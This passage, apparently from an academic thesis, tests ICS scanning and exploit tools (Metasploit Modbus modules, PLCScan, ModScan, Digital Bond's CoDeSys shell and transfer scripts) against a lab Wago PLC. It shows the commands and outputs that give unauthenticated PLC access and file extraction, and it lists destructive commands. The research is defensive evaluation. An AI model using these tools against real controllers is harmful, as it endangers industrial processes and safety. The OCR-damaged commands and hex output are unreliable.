writing  on  the  coil  and  register.  This  module  has  sizeable  potential  to  damage  and/or 
control  what  PLCs  running  the  Modbus/TCP  can  execute. 


msf  auxiliary!  )  >  set  READ_C0IL  0 

READ_CQIL  =>  0 

msf  auxiliary!  )  >  set  READ_REGISTER  1 

READ_REGISTER  =>  1 

msf  auxiliary!  )  >  run 

[*]  Sending  READ  REGISTER... 

[+1  Register  value  at  address  23000  :  0 

[*]  Auxiliary  module  execution  completed _ 


Figure  36.  modbusclient  switch  default  function  code 


3.  modbusdetect 

The  modbusdetect  Metasploit  module  detects  Modbus  service  in  a  specified  IP 
address  range,  for  scanning  and  identifying  targets  running  the  Modbus/TCP  protocol. 
The  module  discovers  the  Modbus  service  by  sending  Modbus  request  packets  to  targets 
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on  port  502  and  waiting  for  a  response  that  includes  the  same  Transaction  ID  and 
Protocol  ID.  The  module  returns  the  Modbus/TCP  header  and  the  Unit  ID  of  the  PLC 
[40], 

We  ran  the  Metasploit  module,  with  a  target  address  range  that  includes  the  PLC’s 
IP  address,  i.e.,  192.168.1.0/24.  Other  options  for  the  module,  depicted  in  Figure  37, 
include:  target  port  (default  Modbus  port:  502),  the  number  of  concurrent  threads, 
timeout  for  the  network  probe,  and  the  Modbus  Unit  ID. 


msf  auxitiaryl- 

)  >  show  options 

Module  options  ( auxiliary/sc anner/scada/modbusdetect) : 

Name 

Current 

Setting  Required 

Desc  ription 

RH0STS 

yes 

The  target  address  range  or  CIDR  identifier 

RP0RT 

502 

yes 

The  target  port 

THREADS 

1 

yes 

The  number  of  concurrent  threads 

TIMEOUT 

10 

yes 

Timeout  for  the  network  probe 

UNIT  ID 

1 

yes 

ModBus  Unit  Identifier,  1..255,  most  often  1 

Figure  37.  modbusdetect  Metasploit  module  options 


The  scan  successfully  detected  the  PLC  at  192.168.1.1.  The  response  indicated  it 
received  a  correct  Modbus/TCP  header  (Unit  ID:  1),  illustrated  in  Figure  38.  From  our 
tests  with  the  modbus  J'mdunitid  module,  the  PLC  responds  to  queries  for  Unit  IDs  1  to 
246.  As  the  modbusdetect  module  is  designed  to  only  probe  using  one  Unit  ID,  the 
discovery  of  the  PLC  is  unsurprising.  The  module  does  not  have  the  option  to  probe  an 
address  range  in  aggressive  mode  using  alternative  Unit  IDs. 


msf  auxiliary (  )  >  run 

[+]  192.168.1.1:502  -  MODBUS  -  received  correct  MODBUS/TCP  header  [unit -ID:  1) 
[ * ]  Scanned  1  of  1  hosts  [100%  complete) 

[*]  Auxiliary  module  execution  completed 


Figure  38.  modbusdetect  Metasploit  module  results 


4.  Enabling  Tofino  Security  Appliance 

We  reconfigured  the  Tofino  Security  Appliance  to  operational  mode  and 


observed  how  the  tools  behaved  with  the  firewall  in  place.  We  repeated  the  test  on 
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modbus _Jindunitid,  modbusclient,  and  modbusdetect  and  observed  the  interaction 
between  the  Kali  Linux  and  the  PLC  with  the  Tofino  Security  Appliance  in  operational 
mode.  The  firewall  blocked  the  packets  to  the  PLC  until  the  tool  timed  out.  Tofino 
Security  Appliance’s  default  firewall  rules  did  not  allow  Modbus/TCP  packets  not 
originating  from  the  HMI  or  the  CMP’s  IP  address  to  communicate  with  the  PLC. 

D.  PLCSCAN 

PLCScan  is  another  scanning  tool  we  evaluated  in  our  test  environment.  PLCScan 
is  a  Python  tool  designed  to  scan  and  enumerate  PLC  devices  operating  on  Modbus/TCP 
protocol  and  the  Siemens  Simatic  S7  communication  protocol.  Dmitry  Efanov,  a  member 
of  the  SCADA  STRANGE  LOVE  GROUP,  developed  PLCScan.  The  tool  package 
contains  the  plcscan.py  and  support  files  modbus.py  and  s7.py;  the  tool’s  source  code  is 
available  from  its  Google  Code  repository  [41].  The  command  in  Figure  39  can  be  used 
to  download  each  of  these  files. 


:  — #  \ 

>  wgst  http://plcscan.googlecode.com/svn/trunk/plcsc.an.pY  \ 

>  http://plcscan.googlecode.com/svn/trunk/modbus.py  \ 

>  http ://plcscan . googlecode .com/svn/t runk/s7 .pyQ 


Figure  39.  plcscan.py,  modbus.py,  and  s7.py  wget  command 


1.  Modbus/TCP 

PLCScan  is  comprised  of  several  scanning  and  enumerating  features  for  PLCs 
supporting  Modbus/TCP.  For  a  positive  scan,  the  tool  outputs  the  device’s  IP  address  and 
port  number,  Unit  ID,  device  name,  and  (if  available)  hardware  and  firmware  data.  It 
requires  an  IP  range  input  for  the  target  PLC  device(s).  Notable  options  include  the 
following:  brute-uid,  modbus-uid,  modbus-function,  and  modbus-data  (see  Figure  40) 
Each  of  these  explained  next. 
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Java:PLC5can  mokotoy$  python  plcscarupy 
No  targets  to  scan 


Usage :  pics can- py  [options]  [ip  range]... 

Scan  IP  range  for  PLC  devices.  Support  MODBUS  and  S7C0M1  protocols 

Options: 

-h,  — help 
— hosts-list=FILE 
— ports=P0RT5 
— tlneout-TIMEOUr 

Modbus  scanner: 

-brute-uid  Brute  units  ID 

— modbus-uid^UID  Use  uids  from  list 

— mod  bu  s-f  unct ion=N0M 

Use  modbus  function  NQM  for  discover  units 
— mod bus-da ta=DATA  Use  data  for  for  modbus  function 
—mod  bus-t  imeout=TIMEOirr 

Timeout  for  modbus  protocol  (seconds) 

57  scanner  options: 

— src-tsap=LIST  Try  this  src-tsap  (list)  (default:  0x100,0x200) 

— dst-tsap=LIST  Try  this  dst-tsap  (list)  (default:  0x102,0x200,0x201) 

J  a  va : PLCSc an  mokotoy $ 


show  this  help  message  and  exit 
Scan  hosts  from  FILE 
Scan  ports  from  PORTS 
Connection  timeout  (seconds) 


Figure  40.  PLCScan  options 


a.  — brute-uid 

The  brute-uid  options  provides  the  functionality  to  continue  iterating  through  Unit 
ID  1  to  255  after  initial  discovery  of  the  PLC  in  a  specific  IP  address.  This  feature  is 
beneficial  when  scanning  and  enumerating  networks  that  contain  PLCs  connected  to 
gateways.  Brute  forcing  a  gateway  IP  address  will  return  all  PLC  Unit  ID’s  connected  to 
that  gateway.  If  the  brute-uid  option  is  not  selected,  the  tool  will  return  only  the  first 
discovered  Unit  ID  from  a  specific  IP  address. 

b.  — modbus -uid 

The  modbus-uid  option  provides  the  user  the  option  to  select  a  specific  Unit  ID  to 
use  during  the  scan.  This  option  is  useful  in  instances  where  a  user  is  searching  for  a 
specific  PLC  in  a  network  that  contains  numerous  PLCs.  The  scan  result  will  be  limited 

at  the  Unit  ID  and  reduces  clutter  from  other  PLCs  on  the  list. 
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c.  —modbus -function 

The  modbus-function  option  provides  users  the  option  to  select  a  specific 
Function  Code  to  use  during  the  scan.  This  function  is  beneficial  when  scanning  targets 
with  unknown  PLC  hardware.  Some  PLC  manufacturers  only  support  a  limited  number 
of  Function  Codes.  In  the  case  of  the  Wago  PLC  750-841,  its  Function  Codes  are  limited 
to  the  following:  1,  2,  3,  4,  5,  6,  11,  15,  16,  22,  and  23.  PLCs  that  are  discoverable  using 
one  type  of  Function  Code  may  not  be  discoverable  when  using  another  type  of  Function 
Code.  Manually  iterating  through  a  variety  of  Function  Codes  may  increase  the  number 
of  devices  discovered  in  a  network  with  different  types  of  PLCs. 

d.  -modbus-data 

The  modbus-data  option  provides  users  the  option  to  send  custom  data  to  the 
PLC.  This  is  useful  in  conjunction  with  the  modbus-function  option.  Various  Function 
Codes  require  specific  types  of  data  as  an  input  to  the  PLC  for  the  command  to  work 
successfully.  The  flexibility  of  the  user  to  add  custom  data  to  the  command  allows  for 
fine-tuned  targeting  of  specific  PLCs. 

2.  Siemens  S7 

The  Siemens  S7  Communications  Protocol  is  a  protocol  that  PLCScan  supports  in 
addition  to  the  Modbus/TCP  protocol.  We  did  not  test  and  evaluate  this  feature  of 
PLCScan  since  the  Wago  PLCs  in  our  test  environment  only  support  the  Modbus/TCP 
protocol.  Similar  to  scanning  Modbus/TCP,  the  Siemens  S7  scanner  outputs  the  IP 
address  and  port  number  (102)  for  any  PLC  detected  to  support  this  protocol.  As 
illustrated  in  Figure  41,  other  information  that  may  be  enumerated  from  a  PLC  device 
includes:  module  name,  hardware  and  firmware  versions,  PLC  name,  plant  identification, 
and  module  serial  number. 
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10.23.2+6.219: 102  S?coma  (src_tsop»0xl00f  d8t_tsop»0x!02) 

Hodule 

6ES7  314-6BH04-0RB0 

v.0.1 

( 3645533720333 1 342d36424830342d3041 42302000C0000 10001) 

Basic  Hardware 

6ES7  314-6BH04-00B0 

v.0.1 

( 3645533720333 1342d36424830342d304142302000c0000 10001) 

Basic  Firneare 

v. 3*3.1 

( 202020202020202020202020202820202020202060C056030301 ) 

Unknoen  (129) 

Boot  Loader 

R 

( 126 16  f  7+20*6  f 6 1646572282020202020282020000041 200999 ) 

Hate  of  the  PLC 

SinflTlC  308 

(53494d41 54494320333030000000000000000000000000000000000000000000) 

Haae  of  the  nodule 

CPU  314C-2  PtP 

(43505520333134432d3220507450000000000000000000000000000000000000) 

Plant  identification 

(0000060000600000000000600600000000000000060060000600000000600000) 

Copyright 

Original  Siemens  Equipment 

(4f726967696e616c205369656d656e732045717569706d656e74000000000000) 

Serial  number  of  module 

S  C-B7UK 2456201 1 

(5320432d4237554b323435383230313100008000000000000000080080000000) 

Hodule  type  name 

CPU  314C-2  PtP 

( 43505520333 1 34432d322050745O000000000000000000000000000O00000000 ) 

10.252.113.54:102  S?conm  (src-tsap*0xl00,  dst_tsap*8xl02) 

nodule 

6ES7  315-2RG10-0RB0 

v.0.6 

( 36455337203331 352d3241 473 1 302d3041 42302000C00006000 1 ) 

Baiic  Hordmare 

6ES7  315-20C10-0AB0 

v.0.6 

( 3645533720333 1 352d3241 473 1 362d3041 42302000C00006000 1 ) 

Basic  Firmeare 

v.2.6.6 

( 202020202020202020202020202020202020202000C056020606 ) 

Unknoen  (129) 

Boot  Loader 

R 

( 426  f 6  f  74204c6f 6 1 64657220202020202020202000004 1 001500) 

Name  of  the  PLC 

SIHRTIC  315*2  DP 

(53494d41 54494320333 1352d3220445000000000000000000000000000000000) 

Name  of  the  module 

CPU  315*2  OP 

( 43505526333 1 352d322644506600000006000660666006000606000600600006 ) 

Plant  identification 

Rlmnaes 

(41 6c6d6e6 1 657300000800000000000000000000000008008000000000000000 ) 

Copyright 

Original  Siemens  Equipment 

( 4f  726967696e6 1 6c205369656d656e7320457 1 7569706d656e74080000000000 ) 

Serial  number  of  module 

(0000606000060000000600006000000006606000060660000006060660606006) 

Nodule  type  name 

CPU  315-2  OP 

( 43505520333 1 3528322044506000000000000000000000000000000000000000 ) 

Figure  41.  PLCScan  sample  output  for  Siemens  S7  protocol,  from  [42] 


3.  Results  and  Observation 

We  executed  the  PLCScan  tool  to  scan  and  enumerate  the  Wago  PLC  on  the  test 
network  using  a  variety  of  different  options.  The  default  Function  Code  of  the  PLCScan 
is  Function  Code  43  (Encapsulated  Interface  Transport).  It  sends  out  Function  Code  43 
(Encapsulated  Interface  Transport)  with  the  following  request  code:  \x0E\x01\00  (see 
Figure  43).  The  first  byte  in  the  request,  OxOE,  indicates  the  Modbus  Encapsulated 
Interface  (MEI)  used  by  MEI  Transport  implementations  to  dispatch  a  method  invocation 
to  the  indicated  interface  [8],  The  second  byte  in  the  request  (0x01-0x04)  indicates  the 
Read  Device  ID  code;  0x01  is  the  code  to  get  basic  device  identification  [8].  The  last  byte 
in  the  request  (OxOO-OxFF)  indicates  the  Object  ID,  or  the  type  of  object  to  which  the 
MEI  request  pertains;  object  0x00  is  the  Vendor  Name  [8], 

Unfortunately,  the  Wago  PLC  does  not  support  function  code  43  (Encapsulated 
Interface  Transport)  [39].  Plcscan.py  does  not  explicitly  indicate  that  it  uses  function 
code  43  in  addition  to  any  function  code  specified  by  the  user.  As  evident  in  Figures  42 
and  43,  the  “Device  Info”  section  of  the  output  indicates  “Device  info  error:  Illegal 
Function”  when  plcscan.py  is  executed  using  function  code  6. 
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python  plcscan.py  - -modbus-function=6  - -modbus-data=202G  192.168.1.1 

Scan  start .  .  . 

192.168.1.1:502  Modbus/TCP 

Unit  ID:  0 

Response :  2020 

(32303230) 

Device  info  error: 

ILLEGAL  FUNCTION 

Unit  ID:  255 

Response :  2020 

(32303230) 

Device  info  error: 

ILLEGAL  FUNCTION 

Scan  complete 

Figure  42.  PLCScan  command  using  Function  Code  6 


Figure  43  shows  the  PLCScan  request  containing  Function  Code  43.  Figure  44 
shows  the  response  from  the  Wago  PLC  returning  an  “Illegal  Function”  exception  code. 


▼  Modbus/TCP 

transaction  identifier:  0 
protocol  identifier:  0 
length:  5 

unit  identifier:  69 
t  Modbus 

function  43:  Encapsulated  Interface  Transport 
Data 

Figure  43.  WireShark  packet  capture — PLCScan  request  using  Function  Code  43 

▼  Modbus/TCP 

transaction  identifier:  0 
protocol  identifier:  0 
length:  3 

unit  identifier:  69 
t  Modbus 

function  43:  Encapsulated  Interface  Transport.  Exception:  Illegal  function 
exception  code:  Illegal  function  (1) 

Figure  44.  WireShark  packet  capture — Wago  PLC  “Illegal  Function”  exception 

code  response 


Although  the  Wago  PLC  does  not  support  Function  Code  43,  the  user-defined  — 
modbus-function  option  allows  users  to  use  other  Function  Codes  in  conjunction  with  the 
hard-coded,  mandatory  Function  Code  43  tool  feature.  With  knowledge  of  various 
Function  Code  request  and  response  structure  and  functionality,  users  can  elicit  a  correct 
response  from  a  PLC  device.  By  executing  the  command  depicted  in  Figure  42  above, 
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inputting  “2020”  data  using  Function  Code  0x06  (Write  Single  Register)  returns  a 
positive  response  from  the  PLC  device.  The  -modbus-function  option  is  independent  of 
the  hard-coded  Function  Code  43. 

A  positive  response  from  a  PLC  that  supports  the  device  information  request  via 
Function  Code  43  is  depicted  in  Figure  45,  taken  from  a  screen  capture  from  a  YouTube 
presentation  by  the  PLCScan  developers. 
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Figure  45.  PLCScan  sample  output  for  Modbus/TCP  protocol,  from  [42] 


E.  WAGO  PLC  EXPLOIT 

Digital  Bond’s  Project  Basecamp  produced  three  tools  that  exploit  CoDeSys 
vulnerabilities.  CoDeSys  is  a  development  system,  produced  by  3S  Software  Gmbh,  to 
program  and  execute  logic  on  PLCs,  motorized  drive  controllers,  and  other  industrial 
controllers.  CoDeSys  supports  ladder  logic  and  other  programming  languages  defined  by 
the  international  industrial  standard  IEC  61131-3.  Over  500  unique  devices  by  over  163 
device  manufacturers  use  CoDeSys  worldwide  [43],  [44],  The  3S  CoDeSys  Runtime 
application  is  used  by  vendors  to  run  ladder  logic  on  their  PLCs.  Reid  Wightman  of 
Digital  Bond  have  identified  an  improper  access  control  and  directory  traversal 
vulnerability  in  the  3S  CoDeSys  Runtime  application  [43],  [45].  These  vulnerabilities 
allow  for  unauthorized  access  to  the  system  and  file  system  [45].  This  allows  users  to 
connect  to  the  CLI  and  execute  commands  including  start  and  stop  ladder  logic,  erase 
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PLC  memory,  list  files  and  directories.  Users  also  have  the  ability  to  transfer  files  to  and 
from  the  PLC  running  the  3S  CoDeSys  Runtime  application  with  the  possibility  of 
directory  traversal  where  users  can  send  and  receive  files  outside  of  the  3S  CoDeSys  file 
system  and  into  the  critical  system  configuration  such  as  /etc/shadow  and  /etc/passwd  on 
Linux  and  Windows  Registry  on  Windows  CE  [43], 

The  following  are  details  about  the  three  tools  Digital  Bond  created  to  exploit  and 
interact  with  PLCs  running  the  CoDeSys  runtime: 

1.  CoDeSys-Shell.py 

This  tool  is  a  command-shell  utility  in  the  form  of  Python  script.  The  script  allows 
unauthenticated  users  to  access  the  system  and  perform  privileged  operations  without 
providing  credentials.  The  tool  bypasses  vendor  checks  normally  performed  by  the  3S 
CoDeSys  software. 

The  command  depicted  in  Figure  46  downloads  the  CoDeSys-Shell.py  code  from 
Digital  Bond’s  website.  The  —no-check-certificate  option  is  required  to  bypass  the  SSL 
authentication. 


i :-/CoDeSys#  wget  - -no-check-certificate  https://www.digitalbond.cQm/wp- 
CQntQnt/uplQads/2012/lG/cQdQsys-shQll .py_.txt  -0  CoDeSys  .Shell .py[] _ 


Figure  46.  CoDeSys-Shell.py  wget  command 

The  CoDeSys-Shell.py  command  requires  a  host  IP  address  and  TCP  port  as  an 
input,  depicted  in  Figure  47.  A  common  CoDeSys  service  port  is  TCP/1200;  some  ports 
observed  on  other  controller  types  are  TCP/1201  and  TCP/2455  [43],  The  Wago  PLC  in 
our  test  environment  runs  CoDeSys  services  on  TCP/2455. 
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:~/LoDeSys#  python  CoDeSys-Transfer.py 

Usage:  CoDeSys-Transfer.py  <mode>  <ip>  <port>  <Tocal  filename>  <remote  fileriame> 
: -/CoDeSys#  python  CoDeSys -Shell .py 

Usage:  CoDeSys -ShelWpy  <host>  <port> _ 


Figure  47.  CoDeSys-Transfer.py  and  CoDeSys-Shell.py  command  options 


By  entering  a  target  PLC’s  IP  address  and  TCP  port,  the  tool  obtains 
unauthenticated  access  to  the  CoDeSys  Runtime  application  in  a  form  of  a  command- 
shell  utility.  Entering  lists  all  available  commands  that  can  be  executed  in  the 
command  shell  (Figure  48).  The  list  of  available  commands  varies  by  PLC  hardware 
[43],  Some  of  the  exploitable  commands  in  the  Wago  750-841  PLC  used  in  our  tests 
include  memory  dumps,  getting  table,  ID,  and  task  list  information.  Some  of  the  more 
dangerous  commands  that  a  user  with  this  privileged  access  can  execute  include  stopping 
and  resetting  PLC  program,  deleting  and  extracting  files,  deleting  passwords,  and  listing 
directories  for  directory  traversal  that  may  lead  to  more  adverse  actions  against  the  PLC. 
We  did  not  exercise  these  dangerous  commands. 


68 


i :^/CoDevys#  python  CoDeSys -Shell  .py  192.168.1.1  2455 

Debug:  connected 

j 

7 

- 

show  implemented  commands 

mem 

- 

memorydump 

memc 

- 

memorydump  relative  to  code-startaddress 

memd 

- 

memorydump  relative  to  data-startaddress 

reflect 

- 

reflect  current  command  [test!) 

dpt 

- 

get  data-pointer-table 

ppt 

- 

get  POU-table 

pid 

- 

get  project  ID 

pint 

- 

get  project  info 

tsk 

- 

get  IEC-task-list  and  IEC -task -infos 

startprg 

- 

start  PLG  program 

stopprg 

- 

stop  PLC  program 

resetprg 

- 

reset  PLC  program 

resetprgcold 

- 

reset  PLC  program  cold 

resetprgorg 

- 

reset  PLC  program  original 

reload 

- 

reload  boot  project 

getprgprop 

- 

program  properties 

getprgstat 

- 

program  status 

filecopy 

- 

copy  files  [from]  [to] 

file  rename 

- 

rename  files  [old]  [heW] 

filedelete 

- 

delete  file  [filename] 

filedir 

- 

directory  list  [start  directory] 

save  retain 

- 

save  retains  in  file  [filename] 

restoreretain 

- 

restore  retains  from  file  [filename] 

setpwd 

- 

set  online  access  password 

del pwd 

- 

delete  online  access  password 

io 

- 

list  info  of  plugged  terminals 

fds 

- 

amount  of  free  diskspace 

format 

- 

format  file-system 

ext  ract 

- 

extract  files 

Figure  48.  CoDeSys-Shell  command-shell  utility  options 


The  getprgprop  command  (see  Figure  49)  returns  the  PLC’s  program  name,  title, 
version  number,  author,  and  the  date  it  was  last  updated.  This  information  can  be  useful 
in  an  adversary’s  initial  scanning  and  enumeration  of  the  network  infrastructure. 
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>  getprgprop 

Name:  Demokit3-Compressor  (1500  Ver  -1.0). pro 

Title:  Tofino  Demo  System 

Version:  1.0 

Author:  Eric  Byres 

Date:  D#2G11 -08-30 


Figure  49.  CoDeSys-Shell.py  getprgprop  command 


Similar  to  getprgprop  command,  the  pinf  and  pid  commands  (see  Figure  50) 
return  the  PLC’s  project  identification  and  similar  information  that  is  returned  by 
getprgprop  in  addition  to  the  project  description. 


>  pid 

Project -ID:  16#OG01331E 

>  pint 

Address  of  Structure:  16#G4295718 

Date:  4E5D2465 

Project  Name:  Demokit3 -Comp resso r  [150G  Ver  -1.0) .pro 

Project  Title:  Tofino  Demo  System 

Project  Version:  l.G 

Project  Author:  Eric  Byres 

Project  Description: 

This  version  is  for  the  Compi 

-essor  Demo  using  the  single  15GG  Digital  Output  Car 

ds 

End  of  Proj ect -info . 

?■  \y  n  il  U  Un U  LKJ  Lj?J/_A\ 

Figure  50.  CoDeSys-Shell.py  pid  and  pinf  command 


The  tsk  command  (see  Figure  51)  returns  crucial  information  about  the  task(s)  that 
the  PLC  is  running.  This  information  includes  the  International  Electrotechnical 
Commission  (IEC)  60870  task  list  and  task  information. 
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>  tsk 

Number  of  Tasks:  1 
Task  0:  DefaultTask,  ID:  0 
Cycle  count :  26436 
Cycletime:  1  ms 

Cycletime  [min)  :  1  ms 
Cycletime  [max)  :  4  ms 
Cycletime  [avg)  :  1  ms 
Status:  RUN 
Mode :  UNHANDLED 

Priority:  1 

Intervall:  0  ms 
Event :  NONE 

Function  pointer:  16#00CD2ED0 
Function  index:  92 


Figure  5 1 .  CoDeSys-Shell.py  tsk  command 


The  mem,  memc,  and  memd  commands  (see  Figure  52)  return  memory  dump 
information  and  memory  dump  information  relative  to  code  start  address  and  data  start 
address. 


>  mem 

00000000 

>  memc 

?? 

?? 

?? 

7? 

JLAI 

?? 

77 

?? 

‘  ?? 

00CD0000 

80 

00 

00 

00 

00 

00 

00 

00  6  .  . 

>  memd 

04DD0000 

00 

00 

00 

00 

00 

00 

00 

00 

Figure  52.  CoDeSys-Shell.py  mem  memc,  and  memd  commands 


The  io  command  (see  Figure  53)  returns  critical  information  that  can  be  accessed 
by  having  privileged  access  to  the  3S  CoDeSys  Runtime  application.  It  lists  all 
information  about  the  plugged  terminals. 
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>  io 

pos  ident 

bit  pos  PII 

bit  size  PII 

bit  pos  P I O 

bit  size  PIO 

assigned 

0 

841 

_ 

_ 

_ 

1 

di 

G 

2 

- 

- 

pic 

2 

do 

- 

0 

16 

pic 

Figure  53.  CoDeSys-Shell.py  io  command 


A  potentially  dangerous  command  that  the  3S  CoDeSys  Runtime  application  has 
privileged  access  to  is  the  filedir  command  (see  Figure  54).  It  is  used  to  list  directories  in 
the  file  system.  When  used  with  the  filecopy,  filer ename,  and  filedelete  commands,  a  user 
has  the  capability  to  move,  copy,  and  delete  files  in  the  file  system,  causing  potentially 
grave  damage  not  only  to  the  PLC  and  the  system  it  is  controlling  but  possibly  second 
and  third  order  reactions  to  the  entire  control  system  network.  Another  feature  that  is 
available  in  some  devices  is  the  possibility  of  directory  traversal  outside  of  the  3S 
CoDeSys  Runtime  application  by  executing  the  command  in  conjunction  with  the 

filedir  command. 


>  filedir 

m 

0 

2012-04-O2 

7:55:26 

,  . 

0 

2012-04-02 

7:56:26 

ERROR  -1 

.XML 

1303 

2012-04-02 

7:56:28 

WEBVISU 

.HTM 

484 

2012-04-02 

7:56:28 

DEFAULT 

.PRG 

26074 

2G12-04-02 

7:58:42 

DEFAULT 

.CHK 

4 

2012-04-02 

7:58:46 

PERSIST 

.DAT 

12 

2000-01-01 

Figure  54.  CoDeSys-Shell.py  filedir  command 


2.  CoDeSys-Transfer.py 

The  second  tool  that  Digital  Bond  produced  to  exploit  this  3S  CoDeSys  Runtime 
application  software  vulnerability  is  the  CoDeSys-Transfer.py  Python  script.  It  is  a  file 
transfer  tool  that  allows  reading  and  writing  fdes  on  controllers  with  a  file  system  [43]. 
Similar  to  the  CoDeSys-Shell.py  Python  script,  it  also  bypasses  vendor-specific 
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authentication  checks  allowing  users  to  connect  to  the  PLC  without  credentials.  It 
exploits  the  same  vulnerability  as  the  CoDeSys-Shell.py  script. 

The  command  depicted  in  Figure  55  downloads  the  CoDeSys-Transfer.py  code 
from  Digital  Bond’s  website.  The  —no-check-certificate  option  is  required  to  bypass  the 
SSL  authentication. 


:-/CoDeSys#  wget  --no-check-certificate  ht tps://WMA^  digital bond .com/wp- 
content/uploads/2012/lQ/cQdesys-t  ransfer  .py_.txt  -0  CoDeSys-T  ransfer  .  py|~| _ 


Figure  55.  CoDeSys-Transfer.py  wget  command 

The  CoDeSys-Transfer.py  command  requires  a  host  IP  address,  TCP  port,  local 
filename,  and  remote  filename  as  an  input,  depicted  in  Figure  47  and  Figure  56.  Again, 
the  Wago  PLC  in  our  test  environment  runs  its  services  on  TCP/2455. 


'  :-/Co[leSys#  python  CoDeSys-Transfer.py  recv  192.168.1.1  2455 
PWNED.PRG  DEFAULT  .PRCfl _ _ 


Figure  56.  CoDeSys-Transfer.py  execute  command 

Figure  57  illustrates  an  example  of  running  the  CoDeSys-Transferl.py  command 
transferring  the  DEFAULT.PRG  file  from  the  PLC  file  system  to  a  file  called 
DEFAULT.PRG  on  the  user’s  machine.  This  command  can  also  be  reversed  to  write  or 
overwrite  commands  into  the  PLC  file  system.  This  vulnerability  makes  complete 
reprogramming  of  PLC  possible,  which  may  gravely  damage  an  entire  industrial  control 
network  operations. 
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:-/CoDeSys#  python  CoDeSys-Transfer.py  recv  192.163.1.1  2455  DEFAULT. PR 
G  DEFAULT. PRG 

Received  block  1  total  bytes  so  far  994 

Debug:  -->  0x3  0x0  0xG  GxG  Gx2e  Gx49  GxG  GxG  Gx5G  Gxl  GxG  GxG  Gx99  Gx2  GxG  GxG 

Gx9a  GxG  GxG  GxG  Gxal  GxG  GxG  GxG  Gx80  GxG  GxG  GxG  GxG  GxG  GxG  GxG  Gx88  Gx41  GxG 

GxG  0x8  GxG  GxG  GxG  Gx4  GxlG  GxG  GxG  Gx68  Gx46  GxG  GxG  Gxfc  Gxff  0x3  GxG  GxG  Gx 

G  GxG  GxG  Qxc  Gx77  Gxle  GxG  Gxff  Gx3  GxG  GxG  Gxl  GxG  GxG  GxG  Gx2Q  Gx49  GxG  GxG  0 
xG  GxG  GxG  GxG  GxG  GxG  GxG  GxG  Gxd  GxcG  GxaG  Gxel  GxG  Gx58  Gx2d  Gxe9  Gxc  GxbG  Gx 
aG  Gxel  Gxff  Gx5f  Gx2d  Gxe9  Gx84  Gx8a  Gx9f  Gxe5  GxG  GxG  Gxc8  Gxe5  GxG  GxlG  GxaG 
Gxe3  Gx2  GxlG  Gx48  Gxe5  GxG  GxlG  Gxd8  Gxe5  Gx4  GxG  Gx2d  Gxe5  Gx4  Qx9G  Gx2d  Gxe5 
Gx2  Gx90  Gx88  Gxe2  Gxl  GxG  GxaG  Gxel  Gx4  GxlG  Gx2d  Gxe5  Gx4  Gx9G  Gx2d  Gxe5  Gx4  G 
x8G  Gx2d  Gxe5  Gx4  GxeG  Gx2d  Gxe5  Gx4c  Gx8a  Gx9f  Gxe5  GxG  0x80  Gx98  Gxe5  Gxf  GxeG 

Ry^iR  GypI _ RvR  R  vf  R  GY.gR  GypI _ GyG  GyG  Gy^G  GypI _ Gy4  GypG  GyQH  Ryp4  Gy4  GvRG  RyQH 


Figure  57.  CoDeSys-Transfer.py  command  result 


3.  CoDeSys.nse 

The  third  tool  that  Digital  Bond  produced  to  exploit  the  3S  CoDeSys  software  is 
the  CoDeSys.nse.  This  tool  is  an  nmap  script  used  to  enhance  the  scanning  tool  by 
detecting  whether  a  PLC  or  a  controller  is  running  a  vulnerable  version  of  the  3S 
CoDeSys  software  [43].  Below  is  a  comparison  between  running  the  nmap  scanning  tool 
with  and  without  the  CoDeSys.nse  script.  Figure  58  illustrates  the  nmap  executed  without 
the  CoDeSys.nse  script  and  Figure  59  illustrates  the  nmap  executed  with  the  CoDeSys.nse 
script  as  an  option.  Running  the  CoDeSys.nse  options  provides  additional  information 
about  the  vulnerable  version  of  the  3S  CoDeSys  software;  “220  Nucleus  FTP  Server 
(Version  1.7)  ready”  indicates  that  at  IP  address  192.168.1.1  there  is  a  vulnerable  version 
of  the  3S  CoDeSys  software  through  the  FTP  server  TCP/21. 
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:-/CoDeSyf#  nmap  192.168.1.1 


Starting  Nmap  6.48  (  http://nmap.org  )  at  2014-38-23  00:41  PDT 
Nmap  scan  report  for  192.168.1.1 
Host  is  up  (3.022s  latency). 

Not  shown:  998  closed  ports 
PORT  STATE  SERVICE 
21/tcp  open  ftp 
30/tcp  open  http 

MAC  Address:  00 :30 :DE :05 :40 :0B  (Wago  Kontakttechnik  Gmbh) 

Nmap  done:  1  IP  address  (1  host  up)  scanned  iri  0.71  seconds 


Figure  58.  nmap  scan  result  without  codesys.nse  script 


:~/CoheSys#  nmap  --script  ./codesys.nse  192.168.1.1 

Starting  Nmap  6.40  (  http://nmap.org  )  at  2014-08-23  00:39  PDT 
Nmap  scan  report  for  192.168.1.1 
Host  is  up  (0.042s  latency). 

Not  shown:  998  closed  ports 
PORT  STATE  SERVICE 
21/tcp  open  ftp 

|_codesys:  220  Nucleus  FTP  Server  (Version  1.7)  ready. \r\n 
80/tcp  open  http 
j_codesys:  EOF 

MAC  Address:  00 :30 :DE :05 :40 :0B  (Wago  Kontakttechnik  Gmbh) 


Figure  59.  nmap  scan  result  with  codesys.nse  script 


F.  MODSCAN 

ModScan  is  a  scanning  tool  developed  by  Mark  Bristow  that  specifically  looks  for 
ICS-related  control  devices  running  the  Modbus/TCP  protocol.  Given  a  specified  IP 
address  range,  the  tool  seeks  PLCs  running  the  ModBus/TCP  protocol  by  searching  for 
ModBus  device  Unit  ID.  ModScan  finds  PLC  device  Unit  IDs  by  sending  out  a  Modbus 
packet  in  TCP/502  using  various  Function  Codes.  Mark  Bristow  presented  this  tool  at 
DEF  CON  16  in  August  2008  and  the  presentation  is  available  on  YouTube  [46].  The 
tool  operates  in  several  steps:  first,  it  searches  the  IP  address  range  provided  for  an  open 
Modbus/TCP  port  (TCP/502).  When  an  open  port  is  found,  it  searches  for  the  PLC  Unit 
ID  via  brute  force.  As  a  default,  the  program  terminates  after  the  first  discovered  Unit  ID 
is  found  [47]. 
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The  ModScan  source  code  is  available  in  the  Google  Code  repository  [48],  The 
command  depicted  in  Figure  60  downloads  the  modscan.py  code  from  its  website. 


1  i :  -#  \ 

>  wget  http://modscan.googlecode.com/svn/trunk/modscan.pyQ 


Figure  60.  modscan  wget  command 

The  ModScan  tool  contains  a  wide  array  of  options  for  tailoring  each  scan  to 
specific  IP  address  range,  port,  and  Function  Codes  (see  Figure  61).  The  IP  address  range 
input  can  be  configured  using  the  standard  IP  address  CIDR  notation.  The  default  port 
address  is  TCP/502.  The  default  Function  Code  is  17  (Oxll),  which  is  Report  Slave  ID 
[8], 
